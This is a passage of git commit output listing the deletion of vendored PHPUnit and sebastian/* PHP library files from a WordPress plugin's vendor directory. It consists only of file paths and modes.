wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/DocBlock.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Annotation/Registry.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Blacklist.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Cloner.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Color.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ErrorHandler.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ExcludeList.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/FileLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filesystem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/GlobalState.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/InvalidDataSetException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Json.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/JUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/TeamCity.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/PhptTestCase.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseClass.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseMethod.tpl delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Printer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Reflection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/RegularExpression.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Test.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TextTestListRenderer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Type.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/VersionComparisonOperator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Loader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetector.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaFinder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/ValidationResult.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Validator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XmlTestListRenderer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/infection.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/Parser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/src/exceptions/UnknownOptionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit-reverse-lookup/src/Wizard.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassMethodUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/ClassUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/CodeUnitCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/FunctionUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceMethodUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/InterfaceUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/Mapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitMethodUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/TraitUnit.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/NoTraitException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/code-unit/src/exceptions/ReflectionException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ArrayComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Comparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ComparisonFailure.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DOMNodeComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DateTimeComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/DoubleComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ExceptionComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/Factory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/MockObjectComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/NumericComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ObjectComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ResourceComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/ScalarComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/SplObjectStorageComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/TypeComparator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/comparator/src/exceptions/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Calculator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/Complexity.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollection.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Exception/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Chunk.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Diff.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Differ.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/ConfigurationException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Line.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/LongestCommonSubsequenceCalculator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOutputBuilderInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Parser.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Console.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/OperatingSystem.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/environment/src/Runtime.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/exporter/src/Exporter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/CodeExporter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/ExcludeList.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Restorer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Snapshot.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Counter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/NegativeValueException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LineCountingVisitor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LinesOfCode.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/phpunit.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Enumerator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/src/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/baseline.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/.psalm/config.xml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-reflector/src/ObjectReflector.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Context.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/recursion-context/src/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/SECURITY.md delete mode 100755 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/build/generate.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/resource-operations/src/ResourceOperations.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/ChangeLog.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/Parameter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/ReflectionMapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/TypeName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/exception/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/CallableType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/FalseType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/GenericObjectType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/type/src/type/IntersectionType.php delete mode 100644 